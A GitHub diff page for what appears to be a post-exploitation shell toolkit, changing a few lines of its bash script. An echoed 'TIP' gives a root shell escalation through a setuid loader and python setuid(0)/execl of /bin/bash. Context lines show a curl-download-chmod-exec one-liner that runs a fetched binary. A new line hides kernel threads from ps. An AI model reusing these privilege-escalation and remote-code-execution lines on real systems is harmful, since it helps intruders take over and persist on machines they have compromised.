File tree Expand file tree Collapse file tree 1 file changed +5
-2
lines changed Expand file tree Collapse file tree 1 file changed +5
-2
lines changed Original file line number Diff line number Diff line change @@ -1301,7 +1301,7 @@ lootlight() {
1301
1301
echo -e " ${CB} B00M-SHELL ${CDY}${CF} "
1302
1302
echo " ${str} "
1303
1303
echo -en " ${CN} "
1304
- echo -e " ${CW} TIP: ${CDC} " ' ./b00m -p -c "exec ' " ${HS_PY:- python} " ' -c \"import os;os.setuid(0);os.setgid(0);os.execl(' " '" ' /bin/bash' " '" ' , ' " '" ' -bash' " '" ' )\""' " ${CN} "
1304
+ echo -e " ${CW} TIP: ${CDC} / ${str ##* / } " ' -p -c "exec ' " ${HS_PY:- python} " ' -c \"import os;os.setuid(0);os.setgid(0);os.execl(' " '" ' /bin/bash' " '" ' , ' " '" ' -bash' " '" ' )\""' " ${CN} "
1305
1305
}
1306
1306
1307
1307
str=" $( { readlink -f " ${ROOTFS} " /lib64/ld-* .so.* || readlink -f " ${ROOTFS} " /lib/ld-* .so.* || readlink -f " ${ROOTFS} " /lib/ld-linux.so.2; } 2> /dev/null ) "
@@ -1793,6 +1793,9 @@ ${CY}>>>>> ${CDC}curl -obash -SsfL '$str' && chmod 700 bash && exec ./bash -il"
1793
1793
[ -z " $TERM " ] && TERM=xterm
1794
1794
export TERM
1795
1795
1796
+ # ps to hide kernel threads (identical to '--ppid 2 -p 2 --deselect flwww')
1797
+ export LIBPROC_HIDE_KERNEL=1
1798
+
1796
1799
HS_ARCH=" $( uname -m 2> /dev/null) "
1797
1800
[ -z " $HS_ARCH " ] && HS_ARCH=" x86_64"
1798
1801
[ " $HS_ARCH " == " x86_64" ] && HS_ARCH_ALT=" amd64"
@@ -1852,7 +1855,7 @@ cn() {
1852
1855
_hs_dep openssl || return
1853
1856
_hs_dep sed || return
1854
1857
1855
- x509=" $( timeout " ${HS_TO_OPTS[@]} " 4 openssl s_client -showcerts -connect " ${1:? } :${2:- 443} " 2> /dev/null < /dev/null) "
1858
+ x509=" $( timeout " ${HS_TO_OPTS[@]} " 4 openssl s_client -showcerts -connect " ${1:- 127.0.0.1 } :${2:- 443} " 2> /dev/null < /dev/null) "
1856
1859
# Extract CN
1857
1860
str=" $( echo " $x509 " | openssl x509 -noout -subject 2> /dev/null) "
1858
1861
[[ " $str " == " subject" * ]] && [[ " $str " == * " /CN" * ]] && {
You can’t perform that action at this time.
0 commit comments